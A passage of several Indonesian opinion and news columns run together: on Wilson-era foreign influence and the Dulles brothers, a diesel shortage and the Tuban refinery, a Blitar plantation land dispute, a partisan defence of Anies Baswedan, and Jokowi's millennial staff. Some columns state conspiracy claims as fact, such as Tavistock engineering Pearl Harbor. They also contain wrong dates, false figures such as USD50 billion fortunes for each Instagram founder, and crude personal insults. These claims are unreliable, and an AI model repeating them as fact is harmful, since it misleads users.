Princeton University ini. Dia membungkus pemerintahannya dengan serankaian gagasan besar. Misalnya, International liberalism, National Self Determination, Economic Globalization, New World Order, Colective security. Selian itu, kebebasan berlayar di laut, mereduksi senjata. Semua ide tersebut, dalam identifikasi Scot Bruce berasal dari colonel Edward Mandel House. Ide cemerlang lain yang sering dilupakan adalah “Madate System”. Ide ini menjadi dasar untuk dibentuk, dalam pertemuan Versailes, yang Liga Bangsa-Bangsa (PBB). Amerika gagal menerima ini, karena beberapa sebab. Awalmnya, senat menolak ide ini. Tetapi kelak ide ini menemukan alasan dan waktu yang tepat untuk dioperasikan. Menurut Andrew Zimerman, sejak 1919-2013 Inggris dan Amerika memainkan peran yang cukup jelas dalam mendestabilisasi Timur Tengah. Cukup menarik identifikasi Zimerman tersebut. Menurutnya, semua kredo pemerintahan Wilson, terutama civilization terhubung dengan kultur Yunani dan Romawi. Inherent dalam kultur ini adalah supremasi, ketika diletakan dalam konteks dunia. Segera setelah berakhir perang ini, Jerman penyebab terbesar perang dunia pertama segera berubah. Jerman mengakhiri kerajaan mereka, dan mengantikannya dengan republik. Pergantian bentuk pemerintahan ini dilembagakan dalam Konstitusi, dikenal dengan Konstitusi Weimar 1919. Begitu juga China berubah menjadi republik. Kekhalifaan Turki Usmania masuk dalam medan ini. Penantian anak mudanya sebelum perang dunia pertama untuk mendekorasi negaranya dengan demokrasi, benar-benar menuai hasil setelah perang ini. Yang juga cukup menarik adalah Allen Dulles. Salah satu penasihat bidang hukum yang disertakan Woodrow Wilson dalam konfrensi Perdamaian di Versailes bekerja di Turki pada tahun 1920. Sejauh mana dan bagaimana, andai ada, Allen Dulles ikut bermain dalam mempercepat perubahan di Turki? Tidak jelas. Kenyataannya, tahun 1924 kekhalifaan Usman bubar untuk selamanya. Seperti Jerman, Turki berubah menjadi republik. Kemal Attaturk muncul menjadi pemimpin negara baru ini. Perubahan ini juga dilembagakan dalam konstitusi. Inggris, entah dirangsang oleh kesepakatan Versailes atau tidak, tetapi pada tahun 1922 menurut Karen Amstrong memberikan sedikit kemerdekaan kepada Mesir. Mereka membentuk pemerintahan baru dengan parlemen baru, dan seperti biasa membuat konstitusi liberal. Mesir pun terbaratkan. Persis seperti Jerman, konstitusi Mesir juga mengadopsi begitu banyak ide-ide liberal khas Inggris dan Perancis. Makna Akhir perang dunia pertama, dalam kenyataannya tidak serta-merta menyudahi berbagai persoalan, terutama ekonomi. Sampai dengan pemerintahan Herbert Hover, Amerika terus ditekan krisis keuangan. Memuncak pada tahun 1933. Entah bagaimana, Jerman juga dilanda krisis yang sama. Tetapi dengan atau tanpa sebab ini, Jerman kembali memicu perang dunia kedua. Apakah perang dunia kedua memang terjadi karena sebab lain apapun itu? Atau dirangsang dengan jelas oleh keperluan untuk memastikan dunia benar-benar diatur oleh satu kekuatan tunggal? Inggris seperti diidentifikasi John Colleman, seperti pada perang dunia pertama kembali memainkan propaganda khasnya. Mempercepat terjadi perang dunia kedua. Terlepas dari soal itu, faktanya Liga Bangsa-Bangsa, sebagai bentuk kongkrit gagasan “mandate system” gagal terbentuk di penghujung perang dunia pertama. Fakta lainnya belum terealisasi gagasan hebat Wilson. Dalam kenyataannya dunia akhirnya masuk ke perang dunia kedua. Seperti perang dunia pertama, perang dunia kedua juga akhirnya menemui akhir. Ini juga menarik. Menurut John Colleman, Rosevelt yang menginginkan negaranya terlibat dalam perang dunia kedua, berpihak kepada Inggris. Tetapi terhalang oleh sikap rakyatnya yang anti perang. Berkat kecanggihan cara kerja Tavistok, sebuah agen non negara yang menghendaki perang itu, Jepang yang sebenarnya telah berkeinginan menghentikan perang, justru menyerang Pearl Habour. Serangan ini jadi berkah buat Rosevelt. Persis seperti Woodrow Wilson, yang semula menolak terlibat perang, tetapi kenyataan membawa pemerintahannnya memasuki perang itu. Dalam kasus Rosevelt, serangan terhadap Pearl Habour diksploitasi secara sistematis dengan propaganda resmi pemerintah. Office of War Information (OWI) dan Office of Strategig Service (OSS), cikal bakal CIA memainkan peran propaganda atas pemboman itu. Dua organiosasi ini terbentuk berkat gagasan Tavistock. Dan sekadar catatan kehadiran OWI, sama dengan kehadiran Commite on Public Information, ciptaan Woodrow Wilson ketika pemerintahannya memasuki perang dunia pertama. Perang, seperti biasa selalu menemui akhir. Perang dunia kedua pun berahir. Perang ini terlihat sebagai berkah bagi gagasan Kolonel House yang diimplementasikan Wilson pada perang dunia pertama. Gagasan “Mandat Systemnya” yang gagal direalisasikan pada perang dunia pertama, justru direalisasikan sesudah perang dunia kedua. Setelah perang dunia kedua, badan dunia lain yang dibentuk selain PBB, menurut James M. Boughton adalah World Bank dan International Monetery Fund (IMF). Pembentukannya disepakati pada pertemuan 44 negara di Bretoon Woods, Newhamsphire. Dunia berubah menuju demokrasi. Hebat, Mohammad Mosadeg yang terpilih secara demokratis di Iran, dikudeta 1954. Patrick Lumumba di Conggo juga sama, dikudeta. Cukup menarik peristiwa-peristiwa ini terjadi semasa Allen Dulles, memegang kendali CIA sebagai orang sipil pertama di jabatan ini. Di Indonesia tak lama setelah kudeta itu, Allan Pope, penerbang pembom asal Amerika yang terbang dari Morotai ke Ambon ditembak jatuh. Allen Dulles juga berperan penting dalam memperluas penguasaan lahan untuk American United Fruit di Guatemala. Kala itu dipimpin oleh Arbenz. Dalam catatan Stephen Kinzer, Allen Dulles dan Abangnya John Foster Dulles adalah dua protolobist untuk kepentingan korporasi di Washington. Menarik, United Fruit dicatat oleh Colleman dan John Perkin dalam Economic Hitmannya sebagai korporasi yang berada di belakang kudeta terhadap Alende di Chlie tahun 1974. Alende, untuk alasan kudeta, dituduh sebagai representasi sosialis Komunis. Ada Kolonel Edward Mandel House, ada Allen Dulles, dan Zbigniew Brezezinsky. Sososk yang terakhir ini memainkan peran yang relativ sama dengan tiga sososk sebelumnya. Brezezinski, seperti House dan Allen Dulles pada masanya adalah sosok berpengaruh kuat terhadap pemerintahan Jimmy Carter. Sosok inilah yang menasihati Presiden Carter melipatgandakan keterlibatan Amerika di Afganistan, dalam menghadapi Uni Soviet. Apa makna semuanya? Tidak ada peristiwa di suatu negara, apapun negara itu, yang terlepas dari kebijakan negara lain, khususnya negara kuat. Konstitusi dan hukum organik sebuah negara, untuk alasan ini, cukup beralasan untuk dikenali secara tepat derajat pertalian “tersembunyi” dengan kehendak negara lain. Penulis adalah Pengajar Hukum Tata Negara Universitas Khairun Ternate

Solusi Solar Langka, Percepat Pembangunan Kilang Tuban!

Oleh Mochamad Toha Jakarta, FNN - Kelangkaan bahan bakar minyak (BBM) jenis solar beberapa hari lalu membuat pengusaha angkutan kelimpungan. Tidak tanggung-tanggung, kerugian yang dialami mencapai miliaran rupiah. “Langkanya solar di Jatim yang hanya beberapa hari membuat pengusaha angkutan rugi Rp 6,4 miliar,” ungkap Ketua Organisasi Angkutan Daerah (Organda) Khusus Tanjung Perak Surabaya Kody Lamahayu Freddy. Menurutnya, kondisi tersebut disebabkan semua pengiriman baik di dalam negeri maupun luar negeri mengalami keterlambatan. Kody sendiri memiliki 8.000 unit di Pelabuhan Tanjung Perak, Surabaya. Nah, kerugian per unitnya mencapai Rp 800 ribu. “Kami tidak bisa apa-apa kalau pasokan solar telat. Banyak truk yang tidak bisa beroperasi karena harus antri solar. Akibatnya, banyak barang yang tidak terkirim,” ungkapnya, seperti dilansir Radarsurabaya.jawapos.com, Kamis (21/11/2019, 14: 12: 36 WIB). Menurut General Manager PT Pertamina (Persero) Marketing Operation Region (MOR) V Werry Prayogi, kelangkaan solar pekan lalu terjadi karena adanya panic buying. Sehingga, kuota yang semestinya cukup ternyata habis terjual. Jika konsumsi solar biasanya 10 ribu liter per hari, tiba-tiba naik menjadi 12 ribu hingga 15 ribu liter per hari. “Kebutuhan stabil rata-rata 200-216 ribu kiloliter per bulan. Angkanya sedikit naik bulan Oktober,” ujarnya. Dia menyebut panic buying ini berawal dari informasi di masyarakat tentang kelangkaan solar. Akibatnya, masyarakat khususnya sopir angkutan mulai panik dan membeli solar dalam jumlah banyak. Antrean pun mengular dan tidak terhindarkan. “Jadi begini, panic buying itu pembelian yang dipicu rasa khawatir terbatasnya barang yang akan dibeli. Ini berasal dari informasi yang beredar dan untuk mengamankan diri. Para sopir truk membeli solar dari yang tidak seperti biasanya,” ungkapnya. Biasanya truk jika isi 200 liter ini jadi 300 liter. Karena terpicu informasi akhirnya dipenuhi saja biar aman. Selain itu, Werry menyebut panic buying ini mengakibatkan pasokan solar di beberapa SPBU habis. Misalnya, saat hari biasa, SPBU menjual hanya 10 ribu liter solar, namun beberapa hari ini mencapai 15 ribu liter solar. “Kami mengamati dari kejadian itu yang tadinya menjual solar 10 ribu liter jadi 15 ribu dan ini dipicu panic buying. Efeknya dengan barang yang selama ini cukup, menjadi seperti ini. Itu maksudnya panic buying menciptakan distorsi informasi,” ujar Werry. “Hari ini Insya Allah sudah normal. Kasus kelangkaan dipicu dari satu SPBU, berita menjadi muncul dan terjadi panic buying,” kata Kepala Dinas ESDM Jatim Setiajit saat konferensi pers di Kantor Gubernur Jatim Jl. Pahlawan Surabaya, Senin (18/11/2019). Sementara saat disinggung adanya surat edaran terkait pembatasan penjualan solar, Setiajit menyebut edaran ini telah dicabut. Sebelumnya, edaran ini dikeluarkan untuk membatasi truk-truk industri dan truk yang mengangkut barang-barang tambang. “Pada akhir bulan Oktober kuota untuk bahan bakar premium maupun solar subsidi telah melebihi kuota yang ada. Namun demikian BPH Migas dengan Pertamina sepakat melayani sesuai kebutuhan masyarakat,” ujarnya. “Jadi tidak benar kalau ada pembatasan dari tanggal 14. Surat edaran sudah dibatalkan. Tadi sudah dijelaskan solar dan premium bersubsidi sudah jelas penggunanya,” tambah Setiajit. Menurut Unit Manager Communication Relation dan CSR MOR V Pertamina Rustam Aji, secara umum kuota solar yang disalurkan ke seluruh wilayah kabupaten/kota di Jatim sudah sesuai dengan yang ditetapkan pemerintah. Rustam mencontohkan, 4 kota/kabupaten di Madura mendapat kuota tidak sampai 100 ribu kiloliter tiap tahunnya. Tapi, sampai awal November ini kuota sudah melebihi 10 persen dari ketentuannya. “Kalau mau tegas-tegasan, sebenarnya kalau jatahnya habis ya sudah. Tapi, kami berusaha memahami bahwa solar ini menjadi kebutuhan masyarakat. Termasuk kendaraan angkutan barang yang menggerakkan perekonomian,” ungkap Rustam. “Kami tetap salurkan tapi agar lebihnya tidak membesar kami tetap kendalikan,” lanjutnya pada Radio Suara Surabaya. Dengan kelangkaan ini, kata Rustam, khusus wilayah Madura sudah diputuskan untuk menambah kuota solar sampai 20 persen. Ini berlaku mulai Kamis (14/11/2019) sampai 2-3 hari ke depan. “Diharapkan 1-2 hari ke depan sudah mulai recovery. Kami imbau pada masyarakat untuk tidak panik karena stok aman. Tapi kuotanya diatur agar kelebihannya tidak makin banyak,” ujarnya. Menurut Rustam, kuota solar year on year di Jatim sampai November ini pada umumnya sudah melebihi 10 persen. “Setiap daerah berbeda-beda dan yang termasuk paling besar di Madura. Kalau secara bulan per bulan, kuota memang sudah berlebih,” katanya. Meskipun ada beberapa daerah yang belum sampai batas kuota yang ditentukan. “Kita atur, jika ada kuota di kabupaten/kota lain yang pengendaliannya lebih selektif dengan daerah yang rawan dengan penyalahgunaan solar,” lanjut Rustam. Pengendaliannya, tidak kaku dan sesuai dengan laporan di lapangan. “Perak Surabaya dan Madura kita kembalikan penyaluran rata-rata 340-350 kiloliter per hari. Mulai hari ini kita kembalikan tambah 20 persen di atas normal,” ungkap Rustam. “Harapannya hari ini atau besok sudah mulai normal lagi pasokannya,” ujar Rustam. Karena, jika ada kuota berlebih dan tidak diganti pemerintah jadi Pertamina yang memberi subsidi. Di satu sisi, Pertamina akan melaporkan ke pemerintah terkait kondisi di lapangan. Gubernur Jatim Khofifah Indar Parawansa menjamin tidak akan ada kelangkaan BBM jenis solar di Jatim. Ia mengaku untuk memastikan ketersediaan stok BBM di Jatim, termasuk jenis solar, pihaknya sudah berkoordinasi dengan Pertamina dan BPH Migas. “Untuk Jawa Timur, Insya’ Allah aman. Masyarakat diminta tenang dan jangan ada Panic Buying,” kata Khofifah, seperti dilansir Kompas.com, Selasa (19/11/2019). Untuk mengatasi kelangkaan solar, beberapa daerah lalu berkirim surat ke BPH Migas atau Kementerian ESDM untuk minta tambahan kuota solar. “Tapi, posisi Pertamina itu sebagai operator bukan untuk meminta tapi kami hanya menerima penugasan pendistribusian. Jadi tinggal menunggu jawaban dari pihak terkait apa dikabulkan atau kuota tetap tapi dikendalikan,” kata Rustam. Kilang Tuban Pembangunan Kilang Tuban yang sedang berlangsung diharapkan bisa membantu pengadaan dan cadangan BBM di Jatim. Apalagi, PT Pertamina dan Rosneft PJSC telah menandatangani perjanjian proyek pembangunan kompleks kilang minyak dan petrokimia Tuban di Moskow, Rusia pada Senin (28/10/2019) lalu. Dari sekitar 800 ha lebih lahan yang dibutuhkan untuk kilang Tuban, baru sekitar 349 ha yang sudah dibebaskan. Sisanya, sekitar 500 ha milik masyarakat dan Perhutani sedang dalam proses pembebasan. Proses pembebasan lahan ini melibatkan Badan Pertanahan Nasional (BPN) Tuban dan nanti melibatkan tim independen. ”Ya proses pembebasan lahan,” ujar Sekda Tuban Budi Wiyana, seperti dilansir Tempo.co, Kamis (31 Oktober 2019 10:54 WIB). Lahan yang telah dibebaskan adalah milik pemerintah, sebagian berada di Desa Wadung, Desa Mentoso dan Desa Rawasan, ketiganya berada di Kecamatan Jenu, Tuban. Sedangkan sisanya yang tengah dalam proses pembebasan berada di Desa Sumur Geneng, Desa Kali Untu, dan sebagian di Desa Wadung, juga di Kecamatan Jenu, Tuban. Pihak PT Pertamina Rosneft Pengolahan dan Petrokimia yang merupakan joint venture yang telah dibentuk sejak Oktober 2016. Dalam perusahaan patungan ini, porsi kepemilikan saham Pertamina sebanyak 55 persen dan Rosneft 45 persen. Usaha patungan dua perusahaan migas ini dibentuk dengan melihat kondisi pasar dan prospek pertumbuhan Indonesia yang menjanjikan. Hal ini yang mendorong Pertamina dan Rosneft sepakat mengembangkan konsep komplek kilang dan petrokimia yang memiliki daya saing tinggi. “Pabrik diprediksi menjadi salah satu kilang dengan teknologi tercanggih di dunia,” ujar Unit Manager Communication & CSR Pertamina MOR V Rustam Aji, sebagaimana dalam release yang diterima Tempo, Kamis (31/10/2019). Kilang Tuban didesain memiliki kapasitas pengolahan utama hingga 15 mmta. Sebagian di antaranya akan mengolah Petrokimia seperti produk etilen sebanyak 1 mmta dan hidrokarbon aromatik sebanyak 1,3 mmta. Kilang Tuban rencananya akan mulai berjalan pada 2025. Dengan adanya tambahan kilang Tuban, maka Indonesia diprediksi tak perlu lagi mengimpor BBM setelah semua proyek kilang selesai. Bahkan, Pertamina diharapkan juga bisa memasok produk hasil olahannya yang berlebih ke pasar komersial. Dengan melihat peristiwa “solar langka” di beberapa daerah di Jatim beberapa waktu lalu, Kilang Tuban bisa menjadi solusi atasi kelangkaan BBM. Penulis wartawan senior.

Soal Perkebunan Kruwuk, Warga Apresiasi Wakapolres Blitar (1)

Oleh Mochamad Toha Jakarta, FNN - Dengan dimediasi Wakapolres Blitar Kompol Arief Kristanto, SH, SIK, MSi, akhirnya pada Senin, 25 November 2019, diadakan Rakor Permasalahan PT Rotorejo Kruwuk di Ruang Rupatama Polres Blitar, Kecamatan Talun, Kabupaten Blitar. Rakor berdasarkan atas undangan Polres Blitar bernomor B/3355/XI/IPP.1.2.6/2019/Polres tertanggal 21 November 2019 yang ditandatangani oleh Wakapolres Blitar Kompol Arief Kristanto, SH, SIK, MSi, NRP: 81051414. Adapun undangan rakor disampaikan kepada: Kepala BPN Kabupaten Blitar, Kakanwil BPN Jati, Kakesbangpol Kabupaten Blitar, Kadis Perumahan Rakyat dan Kawasan Permukiman Kabupaten Blitar, Kadis Pertanian dan Pangan Kabupaten Blitar; Juga, Pimpinan PT Rotorejo Kruwuk, Kapolsek Gandusari, Camat Gandusari, Danramil Gandusari, Kades Gadungan Kecamatan Gandusari, dan Ketua Paguyuban Petani Kelud Makmur (PPKM). Dari sejumlah undangan yang hadir, hanya Kepala Kanwil BPN Jatim yang berhalangan. Sedangkan instansi Pemerintah lainnya mengirimkan perwakilannya, kecuali Kapolsek Gandusari dan jajarannya (mengikutsertakan Kanit Intel dan Kanit Reskrim); Danramil Gandusari, Camat Gandusari, dan Kepala Desa Gadungan Kecamatan Gandusari. Sementara Pimpinan PT Rotorejo Kruwuk mengirimkan utusan ET Wibowo (kuasa hukum), Suratmi (Sekretaris Perusahaan PT Rotorejo Kruwuk), dan Widjianto (Manager Operasional PT Rotorejo Kruwuk). Dari pihak PPKM dihadiri oleh Pitoyo Hariyadi, Yudiono, Fahrurrozi, H. Didik (tokoh masyarakat Kecamatan Gandusari), dan Aryo Purboyo (advokat, pendamping PPKM). Adapun dari pihak Polres Blitar dipimpin oleh Arief Kristanto (Wakapolres Blitar), Sodiq Effendi (Kasat Reskrim Polres Blitar) beserta jajaran. Dan, hadir pula tim akademisi yang diundang oleh Polres Blitar sebagai ahli. Rakor dibuka dengan mendengarkan pendapat dari PPKM yang diwakili Pitoyo Hariyadi yang pada intinya menyampaikan permasalahan konflik antara warga dengan pengelola Perkebunan PT Rotorejo Kruwuk yang berlangsung sejak HGU dinyatakan habis masa belakunya. Pitoyo Hariyadi juga menyampaikan betapa resahnya warga sekitar perkebunan yang kerap mengalami intimidasi dan “kriminalisasi” serta terjadi ketidakadilan aparat penegak hukum di dalam menyikapi laporan dari warga atas kezaliman yang dilakukan pengelola perkebunan pasca-tidak berlakunya HGU. Giliran berikutnya, ET Wibowo yang mewakili PT Rotorejo Kruwuk menyampaikan bahwa pada 13 Mei 2008, PT Rotorejo Kruwuk sudah mengajukan pembaharuan perpanjangan HGU. PT Rotorejo Kruwuk juga mengklaim bahwa pada 22 Januari 2010, Kanwil BPN Jatim menyampaikan persyaratan yang diajukan telah lengkap; dan pada tanggal permohonan telah ditindaklanjuti hingga di tingkat terbawah: Kantor ATR/BPN Kabupaten Blitar. Ihwal redistribusi, PT Rotorejo Kruwuk mengklaim sudah melakukannya pada 1991 seluas 10,43 ha, pada 2006 seluas 0,45 ha, dan pada 2007 seluas 241,45 ha. Utusan Kesbangpol Kabupaten Blitar pada giliran berikutnya menegaskan bahwa segera ada keputusan dari instansi terkait ihwal status perkebunan, mengingat sudah seringnya diadakan rakor, tapi tak ada keputusan apa pun di dalamnya dan memohon tidak ada lagi kriminalisasi warga seperti yang selama ini terjadi. Sementara itu, utusan Dinas Perumahan Rakyat dan Kawasan Permukiman Kabupaten Blitar menyampaikan, instansinya tidak dapat merealisasikan program daerah sebelum adanya eksekusi lahan perkebunan. Penegasan juga disampaikan oleh utusan Dinas Pertanian dan Pangan Kabupaten Blitar bahwa PPKM bukanlah binaan instansinya. Namun tetap akan menyambut dengan tangan terbuka jika PPKM mau menjadi binaan mereka. Ihwal penetapan status perkebunan juga disampaikan oleh Kapolsek Gandusari, Camat Gandusari, dan Danramil Gandusari. Sebab, di dalam pandangan mereka, tanpa ada kejelasan status perkebunan, konflik yang terjadi diantara warga dengan PT Rotorejo Kruwuk tak akan bisa terselesaikan. Utusan Kantor BPN Kabupaten Blitar membenarkan, PT Rotorejo Kruwuk telah mengajukan perpanjangan HGU. Tapi, menurutnya, ada 2 permasalahan yang menyebabkan HGU belum bisa diterbitkan. Permasalahan pertama adalah dimasukkannya perkebunan Rotorejo Kruwuk sebagai lahan terindikasi terlantar, tapi dengan adanya surat dari Kementerian ATR/BPN RI status terlantar tersebut telah dicabut beberapa waktu lalu. Permasalahan lainnya yang menyebabkan HGU belum bisa diterbitkan adalah karena masih adanya konflik dengan warga sekitar. Oleh karena itu, BPN Kabupaten Blitar berharap agar masalah ini bisa segera diselesaikan, agar SK HGU yang sedang diproses di Kanwil BPN Jatim dengan memecah beberapa bagian dari luasan yang ada menjadi di bawah 200 ha semua bisa segera diterbitkan. Tim akademisi memandang bahwa BPN bisa segera menentukan keputusan berkaitan dengan perpanjangan HGU itu. Jika memang sudah tidak bisa harus segera ditegaskan, dan sebaliknya, jika memang HGU bisa diperpanjang, BPN dapat menyampaikannya di dalam forum. Sanggahan pertama muncul dari PPKM yang diwakili Aryo Purboyo. Menurutnya, warga sekitar PPKM merasa mendapat perlakuan tak adil. Penebangan tanam keras yang dilakukan PT Rotorejo Kruwuk secara masif selama ini seakan mendapatkan pembiaran. Untuk itu, “Atas tindakan Polres Blitar yang menghentikan penebangan sengon dan jabon beberapa waktu lalu, PPKM memberikan apresiasi yang setinggi-tingginya,” ungkapnya. Untuk hal lain, kezaliman yang dilakukan PT Rotorejo Kruwuk kepada warga, haruslah ikut menjadi perhatian instansi yang berwenang. Kezaliman lainnya yang dilakukan PT Rotorejo Kruwuk seperti intimidasi kepada warga, penelantaran lahan, pengalihfungsian lahan, dan tindakan melawan hukum, harus pula menjadi perhatian instansi yang berwenang untuk ditindak sesuai dengan hukum yang berlaku. Aryo Purboyo berharap, Kepada BPN Kabupaten Blitar diharapkan ketegasannya untuk menegakkan peraturan yang berlaku dan menjalankan undang-undang sebagaimana mestinya, termasuk menghapus HGU yang telah habis masa berlakunya atas nama PT Rotorejo Kruwuk. Faktor-faktor tidak dapatnya terjalin kerja sama antara warga dengan PT Rotorejo Kruwuk harus dijadikan pertimbangan utama, mengingat masih melekat trauma yang dialami warga karena penzaliman PT Rotorejo Kruwuk terhadap mereka. Kepada PT Rotorejo Kruwuk ditegaskan Aryo untuk mengikuti peraturan yang ada, karena di dalam peraturan undang-undang yang mengatur soal pertanahan dan perkebunan, tak ada satu pun frase yang menyebutkan, satu tahun pasca-tidak berlakunya HGU masih bisa diajukan perpanjangan HGU. “Justru seharusnya PT Rotorejo Kruwuk, dalam hal ini Direktur Utama-nya, bisa dijerat tindak pidana sesuai dengan yang diisyaratkan di dalam Undang-undang Nomor 18 Tahun 2014 tentang Perkebunan,” tegas Aryo Purboyo. “Atas dasar hal ini pula, warga dengan tegas bersepakat tidak menghendaki PT Rotorejo Kruwuk kembali mengelola lahan perkebunan,” lanjutnya. Bahkan, jika memang dipercaya, PPKM melalui koperasi yang didirikan sanggup dan mampu mengelola seluruh lahan perkebunan tersebut. Semua pernyataan PPKM tersebut tertuang di dalam tulisan Rakyat Kruwuk Menuntut Keadilan! yang dibagikan di dalam rakor tersebut. Menyampaikan pula menyayangkan sikap tim akademisi yang dihadirkan tidak memberikan pencerahan dan hanya meminta BPN untuk tegas. (Bersambung) Penulis wartawan senior.

Tak Adil Bandingkan Jakarta Dengan Shanghai Pak Tito

Kelihatan jelas sekali bahwa apa saja yang dikerjakan oleh Anies, benar-benar tidak bakal dilihat sebagai hal yang positif oleh para pendukungnya simulut taik itu. Tragisnya, sikap itu bukan saja dipertontonkan oleh mereka yang di luar pemerintahan. Namun, mereka yang di dalam pemerintahan sekalipun punya prilaku yang sama. Seperti ada penyakit hati yang tidak pernah berakhir menerima kekalahan junjungannya dari Anies. By M. Naufal Dunggio Jakarta, FNN – Menteri Dalam Negeri (Mendagri) Tito Karnavian membandingkan antara kota Jakarta dengan Shanghai di Cina. Dalam sambutannya pada sebuah acara di Jakarta, yang dihadiri oleh Goodberneer Indonesia Anies Baswedan, Menteri Tito mencoba membanding-bandingkan antara kota Jakarta dengan Shanghai. Tito juga membandingkan Jakarta dengan Beijing. Setelah membanding-bandingkan, keluarlah ucapan dari mulutnya Menteri Tito bahwa Jakarta bila dibandingkan dengan Shanghai, kayak kampung. Anda membuat perbandingan yang sangat tidak adil Pak Menteri Tito. Tampak sekali kalau spirit kebencian dan ketidaksukaan sangat mendominasi ucapan yang keluar dari mulut anda Pak Mendagri. Jakarta yang baru dibagusin oleh Gubernur Anies Rasyid Baswedan dua tahun lalu saja masih kayak kampong. Nah, bagaimana dengan kota Jakarta ketika dipimpin oleh tiga gubernur sebelumnya? Yaitu Gubernur Jokowi, simulut jamban Gubernur Ahok dan Gubernur Djarot? Jakarta ketika itu kayak kampung atau kayak di hutan belantara Pak Tito? Pak Menteri, kalau mau banding-bandingkan, sebaiknya pakailah nalar yang agak sehat sedikit doooonk. Jangan kedepankan rasa sentimen, sirik, dengki dan dendam kaya begitulah. Kenapa hanya Anies saja yang terus-menerus menjadi sasaran? Terus dibanding-bandingkan lagi dengan kota-kota lain. Kok kepala daerah dan kota yang lain tidak? Kenapa ya ? Pak Mendagri begitu semangat mengiklankan keberhasilan RRC komunis di Indoneia. Seolah-olah hanya RRC itu yangh “is the best in the world”. Beijing dan Shanghai itu sudah berapa tahun dibangun? Dengan berapa besar dana yang sudah dihabiskan. Kok dibandingkan dengan kota Jakarta yang baru ditangani Anies dua tahun lalu? Jangan begitulah Pak Menteri. Baru dua tahun ditangani Anies saja, kota Jakarta sudah kayak di Washington DC. Nah, bagaimana kalau sampai lima tahun? Apalagi sampai dua periode Gubernur nantinya? Insya Allaah, mungkin nanti gak ada apa-apanya Beijing dan Shanghai Pak Menteri banggakan itu. Kelihatan jelas sekali bahwa apa saja yang dilakukan oleh Anies, benar-benar tidak dilihat sama sekali sebagai hal yang positif oleh para pendukungnya simulut taik itu. Tragisnya, sikap itu bukan saja dipertontonkan oleh mereka yang berada di luar pemerintahan. Mereka yang sudah di dalam pemerintahan sekalipun punya prilaku yang sama. Seperti ada penyakit hati yang tidak pernah berakhir menerima dengan lapang dada atas kekalahan junjungannya dari Anies. Bila ada kesempatan bagi mereka untuk bisa membumihanguskan Anies, langsung saja mereka tancap gas. Mereka tidak bakalan sia-siakan setiap kesempatan emas yang datang. Dimana aja, dan kapan saja peluang itu ada, pasti dimanfaatkan. Soal nanti dimarahin banyak orang bodoh amat. Yang penting Anies harus dihajar dulu agar dia tidak selalu dipuja puji masyarakat Indonesia. Padahal semakin mereka menghajar, membully, menyinyir dan menfitnah Anies, bukan bintangnya Anies makin redup. Namun sebaliknya, malah makin bersinar sampai di langit ketujuh mendekati Arsynya Allah. Itu karena Anies bekerja dengan hati yang tulus membangun negeri ini. Nothing to lose saja. Bukan dengan dengan nafsu untuk memperkaya diri seperti gubernur-gubernur sebelumnya. Sehingga akhirnya penuh dengan kasus dan skandal korupsi. Pemimpin yang adil, dan amanah untuk membahagiakan rakyatnya itu, insya Allaah mendapat tempat yang paling terhormat atau VVIP di hadapan Allah SWT. Sehingga kerjanyapun selalu dibantu oleh Allah SWT dalam menyelesaikandi setiap persoalan warganya. Beda dengan mereka yang bekerja penuh dengan hawa nafsu. Yang ada bukan kerja, tetapi hanya membuat pencitraan dan pencitraan. Pencitraan itu tidak bermanfaat apa-apa untuk rakyatnya, karena yang dipertontonkan hanyalah kepalsuan dalam memimpin. Semoga Bang Anies semakin sabar dalam memimpin Jakarta. Juga semakin semangat dalam bekerja. Jadikanlah bullian, fitnahan, nyinyiran dan serangan para “bani togog” sebagai buluperindu untuk berbuat yang lebih baik dalam membahagiakan warga DKI Jakarta. Serahkan semua ini kepada Allah SWT bila kita sudah berikhtiar dan berbuat. Hanya kepada Allaah jualah kita berserah diri. Wallahu A'lam ... Penulis adalah Aktivis dan Ustadz Kampong

Milenial dalam Obsesi Jokowi

By Asyari Usman Jakarta, FNN - Sangat mengherankan mengapa Presiden Jokowi “so obsessed” (sangat kagum) pada generasi milenial. Sampai-sampai dia berikan tujuh (7) jabatan staf khusus presiden untuk mereka. Apa pentingnya ketujuh milenial itu didudukkan sebagai staf khusus? Apakah masalah ekonomi, sosial, dan politik yang melanda Indonesia ini akan selesai? Untuk apa sesungguhnya para milenial itu? Apakah sekadar pajangan agar Jokowi dikatakan promilenial dan memberikan perhatian kepada mereka? Mudah-mudahan saja Jokowi paham betul gambaran tentang milenial. Ada sekian macam deskripsi. Kita simak sebentar gambaran tentang milenial menurut berbagai sumber. Lexico Oxford merumuskan milenial sebagai “orang-orang yang memasuki usia dewasa muda (young adulthood) pada awal abad ke-21”. Katakanlah menjadi dewasa pada tahun 2000. Urban Dictionary lebih spesifik lagi. Masuk akal dan ilmiah. Dikatakan, milenial itu punya dua sayap. Yaitu, Generasi Y (yang lahir antara 1981-1991) dan Generasi Z (yang lahir antara 1991-2001). Orang-orang Generasi Y seringkali punya ciri yang mirip dengan Generasi X (yang lahir sebelum Generasi Y). Ini yang membuat Generasi Z tak bisa membedakan Generasi Y dengan Generasi X. Generasi Z kemudian mengklaim merekalah yang disebut Milenial. Padahal, tahun-tahun kelahiran milenial adalah 1981-2001. Generasi Y dan Generasi Z sama-sama bisa disebut milenial. Perbedaannya cuma pada perkembangan teknologi. Generasi Y tumbuh dengan komputer pribadi, handphone biasa (cell phone) dan sistem video game. Sedangkan Generasi Z tumbuh dengan tablet, smartphone, dan applikasi (apps). Kesamaan antara kedua generasi ini adalah bahwa mereka mengubah komunikasi dan identitas. Secara global. Nah, perhatikan kalimat terakhir definisi di atas. Yaitu, perubahan komunikasi. Artinya, para milenial itu lebih banyak berinovasi dalam cara komunikasi dilakukan. Mereka buat revolusi komunikasi. Sebutlah “revolusi software”. Misalnya saja, Mark Zuckerberg menciptakan Facebook pada 2004. Dia milenial dan hebat. Usianya baru 35 tahun. Lahir 14 May 1984. Dengan kekayaan bersih lebih USD74 miliar (Rp1,036 T). Facebook dipakai 2.4 miliar pengguna. Kemudian muncul Instagram: dibuat pada 2010 oleh Kevin Systrom dan Mike Krieger. Masing-masing berusia 36 dan 33. Mereka masuk generasi milenial juga. Dengan kekayaan lebih USD50 miliar seorang (Rp700 T). Seterusnya, Pavel Durov (Rusia) menciptakan Telegram pada 2013. Dia milenial yang berusia 35 tahun. Kekayaannya USD2.7 miliar (Rp38 T). Nah, inilah gambaran yang indah-indah tentang milenial yang sukses. Tapi, milenial diasosiasikan juga dengan tabiat (habit) yang buruk. Seorang miliuner berkata, “Anak-anak milenial itu bisa punya rumah kalau mereka berhenti membeli roti bakar alpukat.” Ini sindiran bahwa 